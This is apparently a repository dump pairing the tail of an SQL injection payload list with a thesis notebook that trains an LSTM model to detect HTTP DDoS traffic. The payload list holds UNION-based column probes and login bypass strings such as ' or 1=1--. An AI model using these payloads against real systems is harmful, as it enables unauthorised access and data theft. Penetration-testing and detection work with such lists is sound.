687 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
688 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
689 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
690 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
691 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
692 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7
693 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8
694 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
695 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10
696 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11
697 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12
698 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13
699 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14
700 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15
701 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
702 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
703 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
704 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
705 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
706 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
707 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
708 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
709 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
710 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
711 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
712 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
713 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
714 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
715 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
716 | UNION ALL SELECT 'INJ'||'ECT'||'XXX'--
717 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2--
718 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3--
719 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4--
720 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5--
721 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6--
722 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7--
723 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8--
724 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9--
725 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10--
726 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11--
727 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12--
728 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13--
729 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14--
730 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15--
731 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
732 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
733 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
734 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
735 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
736 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
737 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
738 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
739 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
740 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
741 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
742 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
743 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
744 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
745 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
746 | UNION ALL SELECT 'INJ'||'ECT'||'XXX'#
747 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2#
748 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3#
749 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4#
750 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5#
751 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6#
752 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7#
753 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8#
754 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9#
755 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10#
756 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11#
757 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12#
758 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13#
759 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14#
760 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15#
761 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
762 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
763 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
764 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
765 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
766 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
767 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
768 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
769 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
770 | UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
771 |
772 |
773 |
774 | Auth bypass
775 |
776 | '-'
777 | ' '
778 | '&'
779 | '^'
780 | '*'
781 | ' or ''-'
782 | ' or '' '
783 | ' or ''&'
784 | ' or ''^'
785 | ' or ''*'
786 | "-"
787 | " "
788 | "&"
789 | "^"
790 | "*"
791 | " or ""-"
792 | " or "" "
793 | " or ""&"
794 | " or ""^"
795 | " or ""*"
796 | or true--
797 | " or true--
798 | ' or true--
799 | ") or true--
800 | ') or true--
801 | ' or 'x'='x
802 | ') or ('x')=('x
803 | ')) or (('x'))=(('x
804 | " or "x"="x
805 | ") or ("x")=("x
806 | ")) or (("x"))=(("x
807 | or 1=1
808 | or 1=1--
809 | or 1=1#
810 | or 1=1/*
811 | admin' --
812 | admin' #
813 | admin'/*
814 | admin' or '1'='1
815 | admin' or '1'='1'--
816 | admin' or '1'='1'#
817 | admin' or '1'='1'/*
818 | admin'or 1=1 or ''='
819 | admin' or 1=1
820 | admin' or 1=1--
821 | admin' or 1=1#
822 | admin' or 1=1/*
823 | admin') or ('1'='1
824 | admin') or ('1'='1'--
825 | admin') or ('1'='1'#
826 | admin') or ('1'='1'/*
827 | admin') or '1'='1
828 | admin') or '1'='1'--
829 | admin') or '1'='1'#
830 | admin') or '1'='1'/*
831 | 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
832 | admin" --
833 | admin" #
834 | admin"/*
835 | admin" or "1"="1
836 | admin" or "1"="1"--
837 | admin" or "1"="1"#
838 | admin" or "1"="1"/*
839 | admin"or 1=1 or ""="
840 | admin" or 1=1
841 | admin" or 1=1--
842 | admin" or 1=1#
843 | admin" or 1=1/*
844 | admin") or ("1"="1
845 | admin") or ("1"="1"--
846 | admin") or ("1"="1"#
847 | admin") or ("1"="1"/*
848 | admin") or "1"="1
849 | admin") or "1"="1"--
850 | admin") or "1"="1"#
851 | admin") or "1"="1"/*
852 | 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
--------------------------------------------------------------------------------
/LSTM-ModelDDoS.ipynb:
--------------------------------------------------------------------------------
1 | {
2 | "cells": [
3 | {
4 | "cell_type": "code",
5 | "execution_count": 1,
6 | "id": "d9760aef",
7 | "metadata": {},
8 | "outputs": [],
9 | "source": [
10 | "import numpy as np\n",
11 | "import pandas as pd\n",
12 | "import matplotlib.pyplot as plt\n",
13 | "\n",
14 | "import seaborn as sns; sns.set()"
15 | ]
16 | },
17 | {
18 | "cell_type": "code",
19 | "execution_count": 2,
20 | "id": "2f210c69",
21 | "metadata": {},
22 | "outputs": [],
23 | "source": [
24 | "from keras.models import Sequential, load_model\n",
25 | "from keras.layers import Dense, LSTM, Bidirectional\n",
26 | "from keras.utils import plot_model\n",
27 | "from keras.utils.np_utils import to_categorical\n",
28 | "from keras.utils import np_utils\n",
29 | "\n",
30 | "from sklearn.model_selection import train_test_split\n",
31 | "from sklearn.preprocessing import LabelEncoder, StandardScaler\n",
32 | "from sklearn.metrics import confusion_matrix"
33 | ]
34 | },
35 | {
36 | "cell_type": "code",
37 | "execution_count": 3,
38 | "id": "a791ae36",
39 | "metadata": {},
40 | "outputs": [],
41 | "source": [
42 | "number_of_samples = 21000"
43 | ]
44 | },
45 | {
46 | "cell_type": "code",
47 | "execution_count": 4,
48 | "id": "55ca0b8c",
49 | "metadata": {},
50 | "outputs": [],
51 | "source": [
52 | "data_attack = pd.read_csv('C:/Users/Dell/Desktop/Thesis/data thesis/only http 4loic.csv',nrows= number_of_samples)"
53 | ]
54 | },
55 | {
56 | "cell_type": "code",
57 | "execution_count": 5,
58 | "id": "504bfa89",
59 | "metadata": {},
60 | "outputs": [],
61 | "source": [
62 | "data_normal = pd.read_csv('C:/Users/Dell/Desktop/Thesis/data thesis/normal http traffic 2.csv', nrows = number_of_samples)"
63 | ]
64 | },
65 | {
66 | "cell_type": "code",
67 | "execution_count": 6,
68 | "id": "0790c934",
69 | "metadata": {
70 | "scrolled": true
71 | },
72 | "outputs": [
73 | {
74 | "name": "stdout",
75 | "output_type": "stream",
76 | "text": [
77 | "Index(['No.', 'Time', 'Source', 'Destination', 'Protocol', 'Length',\n",
78 | " 'Epoch Time', 'Time shift for this packet',\n",
79 | " 'Time delta from previous captured frame',\n",
80 | " 'Time delta from previous displayed frame',\n",
81 | " 'Time since reference or first frame', 'Frame Number',\n",
82 | " 'Frame length on the wire', 'Frame is marked', 'Version',\n",
83 | " 'Header Length', 'Total Length', 'Reserved bit', 'Dont fragment',\n",
84 | " 'More fragments', 'Fragment Off1', 'Time to Live', 'Source Port',\n",
85 | " 'Destination Port', 'Sequence Number', 'Sequence Number.1',\n",
86 | " 'Next Sequence Number', 'Acknowledgment Number',\n",
87 | " 'Acknowledgment number (raw)', 'Window', 'Calculated window size',\n",
88 | " 'Stream index', 'TCP Segment Len', 'Header Length.1',\n",
89 | " 'Window size scaling factor',\n",
90 | " 'Time since first frame in this TCP stream',\n",
91 | " 'Time since previous frame in this TCP stream', 'Request Method',\n",
92 | " 'Response in frame', 'Length.1', 'class'],\n",
93 | " dtype='object')\n"
94 | ]
95 | }
96 | ],
97 | "source": [
98 | "print(data_normal.columns)"
99 | ]
100 | },
101 | {
102 | "cell_type": "code",
103 | "execution_count": 7,
104 | "id": "0c9ee276",
105 | "metadata": {},
106 | "outputs": [],
107 | "source": [
108 | "data_normal.columns=['No.', 'Time', 'Source', 'Destination', 'Protocol', 'Length',\n",
109 | " 'Epoch Time', 'Time shift for this packet',\n",
110 | " 'Time delta from previous captured frame',\n",
111 | " 'Time delta from previous displayed frame',\n",
112 | " 'Time since reference or first frame', 'Frame Number',\n",
113 | " 'Frame length on the wire', 'Frame is marked', 'Version',\n",
114 | " 'Header Length', 'Total Length', 'Reserved bit', 'Dont fragment',\n",
115 | " 'More fragments', 'Fragment Off1', 'Time to Live', 'Source Port',\n",
116 | " 'Destination Port', 'Sequence Number', 'Sequence Number.1',\n",
117 | " 'Next Sequence Number', 'Acknowledgment Number',\n",
118 | " 'Acknowledgment number (raw)', 'Window', 'Calculated window size',\n",
119 | " 'Stream index', 'TCP Segment Len', 'Header Length.1',\n",
120 | " 'Window size scaling factor',\n",
121 | " 'Time since first frame in this TCP stream',\n",
122 | " 'Time since previous frame in this TCP stream', 'Request Method',\n",
123 | " 'Response in frame', 'Length.1', 'class']\n",
124 | "data_attack.columns=['No.', 'Time', 'Source', 'Destination', 'Protocol', 'Length',\n",
125 | " 'Epoch Time', 'Time shift for this packet',\n",
126 | " 'Time delta from previous captured frame',\n",
127 | " 'Time delta from previous displayed frame',\n",
128 | " 'Time since reference or first frame', 'Frame Number',\n",
129 | " 'Frame length on the wire', 'Frame is marked', 'Version',\n",
130 | " 'Header Length', 'Total Length', 'Reserved bit', 'Dont fragment',\n",
131 | " 'More fragments', 'Fragment Off1', 'Time to Live', 'Source Port',\n",
132 | " 'Destination Port', 'Sequence Number', 'Sequence Number.1',\n",
133 | " 'Next Sequence Number', 'Acknowledgment Number',\n",
134 | " 'Acknowledgment number (raw)', 'Window', 'Calculated window size',\n",
135 | " 'Stream index', 'TCP Segment Len', 'Header Length.1',\n",
136 | " 'Window size scaling factor',\n",
137 | " 'Time since first frame in this TCP stream',\n",
138 | " 'Time since previous frame in this TCP stream', 'Request Method',\n",
139 | " 'Response in frame', 'Length.1', 'class']"
140 | ]
141 | },
142 | {
143 | "cell_type": "code",
144 | "execution_count": 8,
145 | "id": "b0b3d0c7",
146 | "metadata": {},
147 | "outputs": [],
148 | "source": [
149 | "data_normal=data_normal.drop(['No.', 'Source', 'Destination','Protocol'],axis=1)\n",
150 | "data_attack=data_attack.drop(['No.', 'Source', 'Destination','Protocol'],axis=1)"
151 | ]
152 | },
153 | {
154 | "cell_type": "code",
155 | "execution_count": null,
156 | "id": "e8695e41",
157 | "metadata": {},
158 | "outputs": [],
159 | "source": [
160 | " "
161 | ]
162 | },
163 | {
164 | "cell_type": "code",
165 | "execution_count": 9,
166 | "id": "b2abd8ac",
167 | "metadata": {},
168 | "outputs": [],
169 | "source": [
170 | "features=['Time', 'Length',\n",
171 | " 'Epoch Time', 'Time shift for this packet',\n",
172 | " 'Time delta from previous captured frame',\n",
173 | " 'Time delta from previous displayed frame',\n",
174 | " 'Time since reference or first frame', 'Frame Number',\n",
175 | " 'Frame length on the wire', 'Frame is marked', 'Version',\n",
176 | " 'Header Length', 'Total Length', 'Reserved bit', 'Dont fragment',\n",
177 | " 'More fragments', 'Fragment Off1', 'Time to Live', 'Source Port',\n",
178 | " 'Destination Port', 'Sequence Number', 'Sequence Number.1',\n",
179 | " 'Next Sequence Number', 'Acknowledgment Number',\n",
180 | " 'Acknowledgment number (raw)', 'Window', 'Calculated window size',\n",
181 | " 'Stream index', 'TCP Segment Len', 'Header Length.1',\n",
182 | " 'Window size scaling factor',\n",
183 | " 'Time since first frame in this TCP stream',\n",
184 | " 'Time since previous frame in this TCP stream', 'Request Method',\n",
185 | " 'Response in frame', 'Length.1']"
186 | ]
187 | },
188 | {
189 | "cell_type": "code",
190 | "execution_count": 10,
191 | "id": "2e74c000",
192 | "metadata": {},
193 | "outputs": [],
194 | "source": [
195 | "X_normal= data_normal[features].values\n",
196 | "X_attack= data_attack[features].values\n",
197 | "Y_normal= data_normal['class']\n",
198 | "Y_attack= data_attack['class']\n",
199 | "X=np.concatenate((X_normal,X_attack))\n",
200 | "Y=np.concatenate((Y_normal,Y_attack))"
201 | ]
202 | },
203 | {
204 | "cell_type": "code",
205 | "execution_count": 11,
206 | "id": "7d12df67",
207 | "metadata": {},
208 | "outputs": [],
209 | "source": [
210 | "scalar = StandardScaler(copy=True, with_mean=True, with_std=True)\n",
211 | "scalar.fit(X)\n",
212 | "X = scalar.transform(X)"
213 | ]
214 | },
215 | {
216 | "cell_type": "code",
217 | "execution_count": 12,
218 | "id": "9ce686e8",
219 | "metadata": {},
220 | "outputs": [],
221 | "source": [
222 | "for i in range(0,len(Y)):\n",
223 | " if Y[i] ==\"attack\":\n",
224 | " Y[i]=0\n",
225 | " else:\n",
226 | " Y[i]=1"
227 | ]
228 | },
229 | {
230 | "cell_type": "code",
231 | "execution_count": 13,
232 | "id": "8af07bed",
233 | "metadata": {},
234 | "outputs": [],
235 | "source": [
236 | "features = len(X[0])\n",
237 | "samples = X.shape[0]\n",
238 | "train_len = 25\n",
239 | "input_len = samples - train_len\n",
240 | "I = np.zeros((samples - train_len, train_len, features))\n",
241 | "\n",
242 | "for i in range(input_len):\n",
243 | " temp = np.zeros((train_len, features))\n",
244 | " for j in range(i, i + train_len - 1):\n",
245 | " temp[j-i] = X[j]\n",
246 | " I[i] = temp"
247 | ]
248 | },
249 | {
250 | "cell_type": "code",
251 | "execution_count": 14,
252 | "id": "6b22ff6d",
253 | "metadata": {},
254 | "outputs": [
255 | {
256 | "data": {
257 | "text/plain": [
258 | "(42000, 36)"
259 | ]
260 | },
261 | "execution_count": 14,
262 | "metadata": {},
263 | "output_type": "execute_result"
264 | }
265 | ],
266 | "source": [
267 | "X.shape"
268 | ]
269 | },
270 | {
271 | "cell_type": "code",
272 | "execution_count": 15,
273 | "id": "59f68744",
274 | "metadata": {},
275 | "outputs": [],
276 | "source": [
277 | "X_train, X_test, Y_train, Y_test = train_test_split(I, Y[25:42000], test_size = 0.2)"
278 | ]
279 | },
280 | {
281 | "cell_type": "code",
282 | "execution_count": 16,
283 | "id": "bcbaa170",
284 | "metadata": {},
285 | "outputs": [],
286 | "source": [
287 | "def create_baseline():\n",
288 | " model = Sequential()\n",
289 | " \n",
290 | " model.add(Bidirectional(LSTM(64, activation='tanh', kernel_regularizer='l2')))\n",
291 | " model.add(Dense(128, activation = 'relu', kernel_regularizer='l2'))\n",
292 | " model.add(Dense(1, activation = 'sigmoid', kernel_regularizer='l2'))\n",
293 | " \n",
294 | " model.compile(loss = 'binary_crossentropy', optimizer = 'adam', metrics = ['accuracy'])\n",
295 | " \n",
296 | " return model"
297 | ]
298 | },
299 | {
300 | "cell_type": "code",
301 | "execution_count": 17,
302 | "id": "d18faa8c",
303 | "metadata": {},
304 | "outputs": [],
305 | "source": [
306 | "model = create_baseline()"
307 | ]
308 | },
309 | {
310 | "cell_type": "code",
311 | "execution_count": 20,
312 | "id": "c8ed743a",
313 | "metadata": {},
314 | "outputs": [
315 | {
316 | "name": "stdout",
317 | "output_type": "stream",
318 | "text": [
319 | "Epoch 1/15\n",
320 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1441 - accuracy: 0.9674 - val_loss: 0.1564 - val_accuracy: 0.9677\n",
321 | "Epoch 2/15\n",
322 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1495 - accuracy: 0.9676 - val_loss: 0.1431 - val_accuracy: 0.9686\n",
323 | "Epoch 3/15\n",
324 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1458 - accuracy: 0.9676 - val_loss: 0.1449 - val_accuracy: 0.9686\n",
325 | "Epoch 4/15\n",
326 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1431 - accuracy: 0.9677 - val_loss: 0.1421 - val_accuracy: 0.9658\n",
327 | "Epoch 5/15\n",
328 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1397 - accuracy: 0.9675 - val_loss: 0.1395 - val_accuracy: 0.9677\n",
329 | "Epoch 6/15\n",
330 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1387 - accuracy: 0.9675 - val_loss: 0.1364 - val_accuracy: 0.9686\n",
331 | "Epoch 7/15\n",
332 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1386 - accuracy: 0.9673 - val_loss: 0.1344 - val_accuracy: 0.9686\n",
333 | "Epoch 8/15\n",
334 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1426 - accuracy: 0.9674 - val_loss: 0.1499 - val_accuracy: 0.9687\n",
335 | "Epoch 9/15\n",
336 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1439 - accuracy: 0.9674 - val_loss: 0.1378 - val_accuracy: 0.9687\n",
337 | "Epoch 10/15\n",
338 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1443 - accuracy: 0.9676 - val_loss: 0.1350 - val_accuracy: 0.9687\n",
339 | "Epoch 11/15\n",
340 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1434 - accuracy: 0.9669 - val_loss: 0.1394 - val_accuracy: 0.9687\n",
341 | "Epoch 12/15\n",
342 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1351 - accuracy: 0.9671 - val_loss: 0.1299 - val_accuracy: 0.9686\n",
343 | "Epoch 13/15\n",
344 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1175 - accuracy: 0.9676 - val_loss: 0.1054 - val_accuracy: 0.9687\n",
345 | "Epoch 14/15\n",
346 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1175 - accuracy: 0.9677 - val_loss: 0.1191 - val_accuracy: 0.9681\n",
347 | "Epoch 15/15\n",
348 | "840/840 [==============================] - 11s 13ms/step - loss: 0.1150 - accuracy: 0.9677 - val_loss: 0.1152 - val_accuracy: 0.9687\n"
349 | ]
350 | }
351 | ],
352 | "source": [
353 | "history = model.fit(X_train.astype(np.float32), Y_train.astype(np.float32), epochs = 15,validation_split=0.2, verbose = 1)"
354 | ]
355 | },
356 | {
357 | "cell_type": "code",
358 | "execution_count": 21,
359 | "id": "9c794f0e",
360 | "metadata": {},
361 | "outputs": [
362 | {
363 | "data": {
364 | "image/png": "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